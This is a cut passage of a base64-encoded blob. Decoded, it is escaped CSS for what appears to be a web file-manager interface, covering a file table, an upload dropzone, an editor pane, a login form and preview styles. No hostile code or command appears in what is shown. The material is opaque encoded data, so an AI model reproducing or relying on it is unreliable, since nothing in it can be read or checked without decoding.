AgICAgICBhOnZpc2l0ZWQsXG4gICAgICAgICAgICBhOmZvY3VzIHtcbiAgICAgICAgICAgICAgICB0ZXh0LWRlY29yYXRpb246IG5vbmUgIWltcG9ydGFudDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZpbGVuYW1lLFxuICAgICAgICAgICAgdGQsXG4gICAgICAgICAgICB0aCB7XG4gICAgICAgICAgICAgICAgd2hpdGUtc3BhY2U6IG5vd3JhcFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubmF2YmFyLWJyYW5kIHtcbiAgICAgICAgICAgICAgICBmb250LXdlaWdodDogYm9sZDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLm5hdi1pdGVtLmF2YXRhciBhIHtcbiAgICAgICAgICAgICAgICBjdXJzb3I6IHBvaW50ZXI7XG4gICAgICAgICAgICAgICAgdGV4dC10cmFuc2Zvcm06IGNhcGl0YWxpemU7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5uYXYtaXRlbS5hdmF0YXIgYT5pIHtcbiAgICAgICAgICAgICAgICBmb250LXNpemU6IDE1cHg7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5uYXYtaXRlbS5hdmF0YXIgLmRyb3Bkb3duLW1lbnUgYSB7XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAxM3B4O1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjc2VhcmNoLWFkZG9uIHtcbiAgICAgICAgICAgICAgICBmb250LXNpemU6IDEycHg7XG4gICAgICAgICAgICAgICAgYm9yZGVyLXJpZ2h0LXdpZHRoOiAwO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuYnJsLTAge1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6IHRyYW5zcGFyZW50O1xuICAgICAgICAgICAgICAgIGJvcmRlci1sZWZ0OiAwO1xuICAgICAgICAgICAgICAgIGJvcmRlci10b3AtbGVmdC1yYWRpdXM6IDA7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWJvdHRvbS1sZWZ0LXJhZGl1czogMDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmJyci0wIHtcbiAgICAgICAgICAgICAgICBib3JkZXItdG9wLXJpZ2h0LXJhZGl1czogMDtcbiAgICAgICAgICAgICAgICBib3JkZXItYm90dG9tLXJpZ2h0LXJhZGl1czogMDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmJyZWFkLWNydW1iIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogI2NjY2NjYztcbiAgICAgICAgICAgICAgICBmb250LXN0eWxlOiBub3JtYWw7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICNtYWluLXRhYmxlIHtcbiAgICAgICAgICAgICAgICB0cmFuc2l0aW9uOiB0cmFuc2Zvcm0gLjI1cyBjdWJpYy1iZXppZXIoMC40LCAwLjUsIDAsIDEpLCB3aWR0aCAwcyAuMjVzO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjbWFpbi10YWJsZSAuZmlsZW5hbWUgYSB7XG4gICAgICAgICAgICAgICAgY29sb3I6ICMyMjIyMjI7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC50YWJsZSB0ZCxcbiAgICAgICAgICAgIC50YWJsZSB0aCB7XG4gICAgICAgICAgICAgICAgdmVydGljYWwtYWxpZ246IG1pZGRsZSAhaW1wb3J0YW50O1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAudGFibGUgLmN1c3RvbS1jaGVja2JveC10ZCAuY3VzdG9tLWNvbnRyb2wuY3VzdG9tLWNoZWNrYm94LFxuICAgICAgICAgICAgLnRhYmxlIC5jdXN0b20tY2hlY2tib3gtaGVhZGVyIC5jdXN0b20tY29udHJvbC5jdXN0b20tY2hlY2tib3gge1xuICAgICAgICAgICAgICAgIG1pbi13aWR0aDogMThweDtcbiAgICAgICAgICAgICAgICBkaXNwbGF5OiBmbGV4O1xuICAgICAgICAgICAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7XG4gICAgICAgICAgICAgICAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC50YWJsZS1zbSB0ZCxcbiAgICAgICAgICAgIC50YWJsZS1zbSB0aCB7XG4gICAgICAgICAgICAgICAgcGFkZGluZzogLjRyZW07XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC50YWJsZS1ib3JkZXJlZCB0ZCxcbiAgICAgICAgICAgIC50YWJsZS1ib3JkZXJlZCB0aCB7XG4gICAgICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgI2YxZjFmMTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmhpZGRlbiB7XG4gICAgICAgICAgICAgICAgZGlzcGxheTogbm9uZVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBwcmUud2l0aC1obGpzIHtcbiAgICAgICAgICAgICAgICBwYWRkaW5nOiAwO1xuICAgICAgICAgICAgICAgIG92ZXJmbG93OiBoaWRkZW47XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIHByZS53aXRoLWhsanMgY29kZSB7XG4gICAgICAgICAgICAgICAgbWFyZ2luOiAwO1xuICAgICAgICAgICAgICAgIGJvcmRlcjogMDtcbiAgICAgICAgICAgICAgICBvdmVyZmxvdzogc2Nyb2xsO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBjb2RlLm1heGhlaWdodCxcbiAgICAgICAgICAgIHByZS5tYXhoZWlnaHQge1xuICAgICAgICAgICAgICAgIG1heC1oZWlnaHQ6IDUxMnB4XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5mYS5mYS1jYXJldC1yaWdodCB7XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAxLjJlbTtcbiAgICAgICAgICAgICAgICBtYXJnaW46IDAgNHB4O1xuICAgICAgICAgICAgICAgIHZlcnRpY2FsLWFsaWduOiBtaWRkbGU7XG4gICAgICAgICAgICAgICAgY29sb3I6ICNlY2VjZWNcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZhLmZhLWhvbWUge1xuICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMS4zZW07XG4gICAgICAgICAgICAgICAgdmVydGljYWwtYWxpZ246IGJvdHRvbVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAucGF0aCB7XG4gICAgICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMTBweFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBmb3JtLmRyb3B6b25lIHtcbiAgICAgICAgICAgICAgICBtaW4taGVpZ2h0OiAyMDBweDtcbiAgICAgICAgICAgICAgICBib3JkZXI6IDJweCBkYXNoZWQgIzAwN2JmZjtcbiAgICAgICAgICAgICAgICBsaW5lLWhlaWdodDogNnJlbTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLnJpZ2h0IHtcbiAgICAgICAgICAgICAgICB0ZXh0LWFsaWduOiByaWdodFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuY2VudGVyLFxuICAgICAgICAgICAgLmNsb3NlLFxuICAgICAgICAgICAgLmxvZ2luLWZvcm0sXG4gICAgICAgICAgICAucHJldmlldy1pbWctY29udGFpbmVyIHtcbiAgICAgICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXJcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLm1lc3NhZ2Uge1xuICAgICAgICAgICAgICAgIHBhZGRpbmc6IDRweCA3cHg7XG4gICAgICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgI2RkZDtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5tZXNzYWdlLm9rIHtcbiAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6IGdyZWVuO1xuICAgICAgICAgICAgICAgIGNvbG9yOiBncmVlblxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubWVzc2FnZS5lcnJvciB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiByZWQ7XG4gICAgICAgICAgICAgICAgY29sb3I6IHJlZFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubWVzc2FnZS5hbGVydCB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiBvcmFuZ2U7XG4gICAgICAgICAgICAgICAgY29sb3I6IG9yYW5nZVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAucHJldmlldy1pbWcge1xuICAgICAgICAgICAgICAgIG1heC13aWR0aDogMTAwJTtcbiAgICAgICAgICAgICAgICBtYXgtaGVpZ2h0OiA4MHZoO1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6IHVybChkYXRhOmltYWdlXC9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFCQUFBQUFRQ0FJQUFBQ1FrV2cyQUFBQUtrbEVRVlI0Mm1MNVwvXC84XC9BemJ3K1BGanJPSk1EQ1NDVVEzRUFCWmM0UzByS3pzYVN2VFRBQkJnQU15ZkNNc1k0QjlpQUFBQUFFbEZUa1N1UW1DQyk7XG4gICAgICAgICAgICAgICAgY3Vyc29yOiB6b29tLWluXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGlucHV0I3ByZXZpZXctaW1nLXpvb21DaGVja1t0eXBlPWNoZWNrYm94XSB7XG4gICAgICAgICAgICAgICAgZGlzcGxheTogbm9uZVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBpbnB1dCNwcmV2aWV3LWltZy16b29tQ2hlY2tbdHlwZT1jaGVja2JveF06Y2hlY2tlZH5sYWJlbD5pbWcge1xuICAgICAgICAgICAgICAgIG1heC13aWR0aDogbm9uZTtcbiAgICAgICAgICAgICAgICBtYXgtaGVpZ2h0OiBub25lO1xuICAgICAgICAgICAgICAgIGN1cnNvcjogem9vbS1vdXRcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmlubGluZS1hY3Rpb25zPmE+aSB7XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAxZW07XG4gICAgICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IDVweDtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMzc4NWMxO1xuICAgICAgICAgICAgICAgIGNvbG9yOiAjZmZmO1xuICAgICAgICAgICAgICAgIHBhZGRpbmc6IDNweCA0cHg7XG4gICAgICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogM3B4O1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAucHJldmlldy12aWRlbyB7XG4gICAgICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlO1xuICAgICAgICAgICAgICAgIG1heC13aWR0aDogMTAwJTtcbiAgICAgICAgICAgICAgICBoZWlnaHQ6IDA7XG4gICAgICAgICAgICAgICAgcGFkZGluZy1ib3R0b206IDYyLjUlO1xuICAgICAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDEwcHhcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLnByZXZpZXctdmlkZW8gdmlkZW8ge1xuICAgICAgICAgICAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICAgICAgICAgICAgICB3aWR0aDogMTAwJTtcbiAgICAgICAgICAgICAgICBoZWlnaHQ6IDEwMCU7XG4gICAgICAgICAgICAgICAgbGVmdDogMDtcbiAgICAgICAgICAgICAgICB0b3A6IDA7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZDogIzAwMFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuY29tcGFjdC10YWJsZSB7XG4gICAgICAgICAgICAgICAgYm9yZGVyOiAwO1xuICAgICAgICAgICAgICAgIHdpZHRoOiBhdXRvXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5jb21wYWN0LXRhYmxlIHRkLFxuICAgICAgICAgICAgLmNvbXBhY3QtdGFibGUgdGgge1xuICAgICAgICAgICAgICAgIHdpZHRoOiAxMDBweDtcbiAgICAgICAgICAgICAgICBib3JkZXI6IDA7XG4gICAgICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5jb21wYWN0LXRhYmxlIHRyOmhvdmVyIHRkIHtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5maWxlbmFtZSB7XG4gICAgICAgICAgICAgICAgbWF4LXdpZHRoOiA0MjBweDtcbiAgICAgICAgICAgICAgICBvdmVyZmxvdzogaGlkZGVuO1xuICAgICAgICAgICAgICAgIHRleHQtb3ZlcmZsb3c6IGVsbGlwc2lzXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5icmVhay13b3JkIHtcbiAgICAgICAgICAgICAgICB3b3JkLXdyYXA6IGJyZWFrLXdvcmQ7XG4gICAgICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IDMwcHhcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmJyZWFrLXdvcmQuZmxvYXQtbGVmdCBhIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogIzdkN2Q3ZFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuYnJlYWstd29yZCsuZmxvYXQtcmlnaHQge1xuICAgICAgICAgICAgICAgIHBhZGRpbmctcmlnaHQ6IDMwcHg7XG4gICAgICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5icmVhay13b3JkKy5mbG9hdC1yaWdodD5hIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogIzdkN2Q3ZDtcbiAgICAgICAgICAgICAgICBmb250LXNpemU6IDEuMmVtO1xuICAgICAgICAgICAgICAgIG1hcmdpbi1yaWdodDogNHB4XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICNlZGl0b3Ige1xuICAgICAgICAgICAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICAgICAgICAgICAgICByaWdodDogMTVweDtcbiAgICAgICAgICAgICAgICB0b3A6IDEwMHB4O1xuICAgICAgICAgICAgICAgIGJvdHRvbTogMTVweDtcbiAgICAgICAgICAgICAgICBsZWZ0OiAxNXB4XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIEBtZWRpYSAobWF4LXdpZHRoOjQ4MXB4KSB7XG4gICAgICAgICAgICAgICAgI2VkaXRvciB7XG4gICAgICAgICAgICAgICAgICAgIHRvcDogMTUwcHg7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjbm9ybWFsLWVkaXRvciB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogM3B4O1xuICAgICAgICAgICAgICAgIGJvcmRlci13aWR0aDogMnB4O1xuICAgICAgICAgICAgICAgIHBhZGRpbmc6IDEwcHg7XG4gICAgICAgICAgICAgICAgb3V0bGluZTogbm9uZTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmJ0bi0yIHtcbiAgICAgICAgICAgICAgICBwYWRkaW5nOiA0cHggMTBweDtcbiAgICAgICAgICAgICAgICBmb250LXNpemU6IHNtYWxsO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBsaS5maWxlOmJlZm9yZSxcbiAgICAgICAgICAgIGxpLmZvbGRlcjpiZWZvcmUge1xuICAgICAgICAgICAgICAgIGZvbnQ6IG5vcm1hbCBub3JtYWwgbm9ybWFsIDE0cHhcLzEgRm9udEF3ZXNvbWU7XG4gICAgICAgICAgICAgICAgY29udGVudDogXCJcXGYwMTZcIjtcbiAgICAgICAgICAgICAgICBtYXJnaW4tcmlnaHQ6IDVweFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBsaS5mb2xkZXI6YmVmb3JlIHtcbiAgICAgICAgICAgICAgICBjb250ZW50OiBcIlxcZjExNFwiXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGkuZmEuZmEtZm9sZGVyLW8ge1xuICAgICAgICAgICAgICAgIGNvbG9yOiAjMDE1N2IzXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGkuZmEuZmEtcGljdHVyZS1vIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogIzI2Yjk5YVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBpLmZhLmZhLWZpbGUtYXJjaGl2ZS1vIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogI2RhN2Q3ZFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuYnRuLTIgaS5mYS5mYS1maWxlLWFyY2hpdmUtbyB7XG4gICAgICAgICAgICAgICAgY29sb3I6IGluaGVyaXRcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgaS5mYS5mYS1jc3MzIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogI2YzNmZhMFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBpLmZhLmZhLWZpbGUtY29kZS1vIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogIzAwN2JmZlxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBpLmZhLmZhLWNvZGUge1xuICAgICAgICAgICAgICAgIGNvbG9yOiAjY2M0YjRjXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGkuZmEuZmEtZmlsZS10ZXh0LW8ge1xuICAgICAgICAgICAgICAgIGNvbG9yOiAjMDA5NmU2XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGkuZmEuZmEtaHRtbDUge1xuICAgICAgICAgICAgICAgIGNvbG9yOiAjZDc1ZTcyXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGkuZmEuZmEtZmlsZS1leGNlbC1vIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogIzA5YzU1ZFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBpLmZhLmZhLWZpbGUtcG93ZXJwb2ludC1vIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogI2Y2NzEyZVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBpLmdvLWJhY2sge1xuICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMS4yZW07XG4gICAgICAgICAgICAgICAgY29sb3I6ICMwMDdiZmY7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5tYWluLW5hdiB7XG4gICAgICAgICAgICAgICAgcGFkZGluZzogMC4ycmVtIDFyZW07XG4gICAgICAgICAgICAgICAgYm94LXNoYWRvdzogMCA0cHggNXB4IDAgcmdiYSgwLCAwLCAwLCAuMTQpLCAwIDFweCAxMHB4IDAgcmdiYSgwLCAwLCAwLCAuMTIpLCAwIDJweCA0cHggLTFweCByZ2JhKDAsIDAsIDAsIC4yKVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuZGF0YVRhYmxlc19maWx0ZXIge1xuICAgICAgICAgICAgICAgIGRpc3BsYXk6IG5vbmU7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIHRhYmxlLmRhdGFUYWJsZSB0aGVhZCAuc29ydGluZyB7XG4gICAgICAgICAgICAgICAgY3Vyc29yOiBwb2ludGVyO1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtcmVwZWF0OiBuby1yZXBlYXQ7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1wb3NpdGlvbjogY2VudGVyIHJpZ2h0O1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtaW1hZ2U6IHVybCgnZGF0YTppbWFnZVwvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQk1BQUFBVENBUUFBQURZV2Y1SEFBQUFrRWxFUVZRb3o3WFFNUTVBUUJDRjRkV1FTSnhDNXd3YXgxQ3ExZTdCQWR4RDVTTCtUcVwvUUNNMW9OaUppZHdveDAzNTVtWG5HXC9EckV0SVE2YXppb05aUXhJMHlrUGhUUUl3aENSK0JtQll0bEs3a0xKWXdXQ2NKQTlNNHFkclpyZDhwUGpaV1B0T3FkUlF5MzIwWVNWMTdPYXRGQzRldXRzNnozOUdZTUtSUENUS1k5VW5QUTZQK0d0TVJmR3RQbkJDaXFoQWVKUG1rcUFBQUFBRWxGVGtTdVFtQ0MnKTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgdGFibGUuZGF0YVRhYmxlIHRoZWFkIC5zb3J0aW5nX2FzYyB7XG4gICAgICAgICAgICAgICAgY3Vyc29yOiBwb2ludGVyO1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtcmVwZWF0OiBuby1yZXBlYXQ7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1wb3NpdGlvbjogY2VudGVyIHJpZ2h0O1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtaW1hZ2U6IHVybCgnZGF0YTppbWFnZVwvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQk1BQUFBVENBWUFBQUJ5VURiTUFBQUFaMGxFUVZRNHkyTmdHTEtncXVFdUZ4QlBBR0kyYWhoV0NzU1wvZ0RpYlVvTzBnUGd4RVA4SDR0dEFyRXl1UVl4QVBCZHFFQXhQQkltVFk1Z2pFTDlETSt3VEVOdVFhaEF2RU85RE13aUdkd0F4T3ltR0pRTHhUeUQramdXRHhDTVpSc0VvR0FWb0FBRGVlbXd0UGNaSTJ3QUFBQUJKUlU1RXJrSmdnZz09Jyk7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIHRhYmxlLmRhdGFUYWJsZSB0aGVhZCAuc29ydGluZ19kZXNjIHtcbiAgICAgICAgICAgICAgICBjdXJzb3I6IHBvaW50ZXI7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1yZXBlYXQ6IG5vLXJlcGVhdDtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLXBvc2l0aW9uOiBjZW50ZXIgcmlnaHQ7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1pbWFnZTogdXJsKCdkYXRhOmltYWdlXC9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFCTUFBQUFUQ0FZQUFBQnlVRGJNQUFBQVpVbEVRVlE0eTJOZ0dBV2pZQlNnZ2FxR3U1RkFcL0JPSXYyUEJJUEZFVWd4akIrSWRRUHdmQzk0SHhMeWt1czRHaUQraEdmUU9pQjNKOFNvakVFOUVNMnd1U0p6Y3NGTUc0dHRRZ3g0RHNSYWxrWkVOeEwrQXVKUWFNY3NHeEJPQW1Hdm9wazhBVnoxc0xaZ2cwYnNBQUFBQVNVVk9SSzVDWUlJPScpO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICB0YWJsZS5kYXRhVGFibGUgdGhlYWQgdHI6Zmlyc3QtY2hpbGQgdGguY3VzdG9tLWNoZWNrYm94LWhlYWRlcjpmaXJzdC1jaGlsZCB7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1pbWFnZTogbm9uZTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZvb3Rlci1hY3Rpb24gbGkge1xuICAgICAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDEwcHg7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5hcHAtdi10aXRsZSB7XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAyNHB4O1xuICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiAzMDA7XG4gICAgICAgICAgICAgICAgbGV0dGVyLXNwYWNpbmc6IC0uNXB4O1xuICAgICAgICAgICAgICAgIHRleHQtdHJhbnNmb3JtOiB1cHBlcmNhc2U7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGhyLmN1c3RvbS1ociB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLXRvcDogMXB4IGRhc2hlZCAjOGM4YjhiO1xuICAgICAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDFweCBkYXNoZWQgI2ZmZjtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgI3NuYWNrYmFyIHtcbiAgICAgICAgICAgICAgICB2aXNpYmlsaXR5OiBoaWRkZW47XG4gICAgICAgICAgICAgICAgbWluLXdpZHRoOiAyNTBweDtcbiAgICAgICAgICAgICAgICBtYXJnaW4tbGVmdDogLTEyNXB4O1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMzMzM7XG4gICAgICAgICAgICAgICAgY29sb3I6ICNmZmY7XG4gICAgICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyO1xuICAgICAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDJweDtcbiAgICAgICAgICAgICAgICBwYWRkaW5nOiAxNnB4O1xuICAgICAgICAgICAgICAgIHBvc2l0aW9uOiBmaXhlZDtcbiAgICAgICAgICAgICAgICB6LWluZGV4OiAxO1xuICAgICAgICAgICAgICAgIGxlZnQ6IDUwJTtcbiAgICAgICAgICAgICAgICBib3R0b206IDMwcHg7XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAxN3B4O1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjc25hY2tiYXIuc2hvdyB7XG4gICAgICAgICAgICAgICAgdmlzaWJpbGl0eTogdmlzaWJsZTtcbiAgICAgICAgICAgICAgICAtd2Via2l0LWFuaW1hdGlvbjogZmFkZWluIDAuNXMsIGZhZGVvdXQgMC41cyAyLjVzO1xuICAgICAgICAgICAgICAgIGFuaW1hdGlvbjogZmFkZWluIDAuNXMsIGZhZGVvdXQgMC41cyAyLjVzO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBALXdlYmtpdC1rZXlmcmFtZXMgZmFkZWluIHtcbiAgICAgICAgICAgICAgICBmcm9tIHtcbiAgICAgICAgICAgICAgICAgICAgYm90dG9tOiAwO1xuICAgICAgICAgICAgICAgICAgICBvcGFjaXR5OiAwO1xuICAgICAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgICAgIHRvIHtcbiAgICAgICAgICAgICAgICAgICAgYm90dG9tOiAzMHB4O1xuICAgICAgICAgICAgICAgICAgICBvcGFjaXR5OiAxO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgQGtleWZyYW1lcyBmYWRlaW4ge1xuICAgICAgICAgICAgICAgIGZyb20ge1xuICAgICAgICAgICAgICAgICAgICBib3R0b206IDA7XG4gICAgICAgICAgICAgICAgICAgIG9wYWNpdHk6IDA7XG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgdG8ge1xuICAgICAgICAgICAgICAgICAgICBib3R0b206IDMwcHg7XG4gICAgICAgICAgICAgICAgICAgIG9wYWNpdHk6IDE7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBALXdlYmtpdC1rZXlmcmFtZXMgZmFkZW91dCB7XG4gICAgICAgICAgICAgICAgZnJvbSB7XG4gICAgICAgICAgICAgICAgICAgIGJvdHRvbTogMzBweDtcbiAgICAgICAgICAgICAgICAgICAgb3BhY2l0eTogMTtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICB0byB7XG4gICAgICAgICAgICAgICAgICAgIGJvdHRvbTogMDtcbiAgICAgICAgICAgICAgICAgICAgb3BhY2l0eTogMDtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIEBrZXlmcmFtZXMgZmFkZW91dCB7XG4gICAgICAgICAgICAgICAgZnJvbSB7XG4gICAgICAgICAgICAgICAgICAgIGJvdHRvbTogMzBweDtcbiAgICAgICAgICAgICAgICAgICAgb3BhY2l0eTogMTtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICB0byB7XG4gICAgICAgICAgICAgICAgICAgIGJvdHRvbTogMDtcbiAgICAgICAgICAgICAgICAgICAgb3BhY2l0eTogMDtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICNtYWluLXRhYmxlIHNwYW4uYmFkZ2Uge1xuICAgICAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDJweCBzb2xpZCAjZjhmOWZhXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICNtYWluLXRhYmxlIHNwYW4uYmFkZ2U6bnRoLWNoaWxkKDEpIHtcbiAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6ICNkZjQyMjdcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgI21haW4tdGFibGUgc3Bhbi5iYWRnZTpudGgtY2hpbGQoMikge1xuICAgICAgICAgICAgICAgIGJvcmRlci1jb2xvcjogI2Y4YjYwMFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjbWFpbi10YWJsZSBzcGFuLmJhZGdlOm50aC1jaGlsZCgzKSB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiAjMDBiZDYwXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICNtYWluLXRhYmxlIHNwYW4uYmFkZ2U6bnRoLWNoaWxkKDQpIHtcbiAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6ICM0NTgxZmZ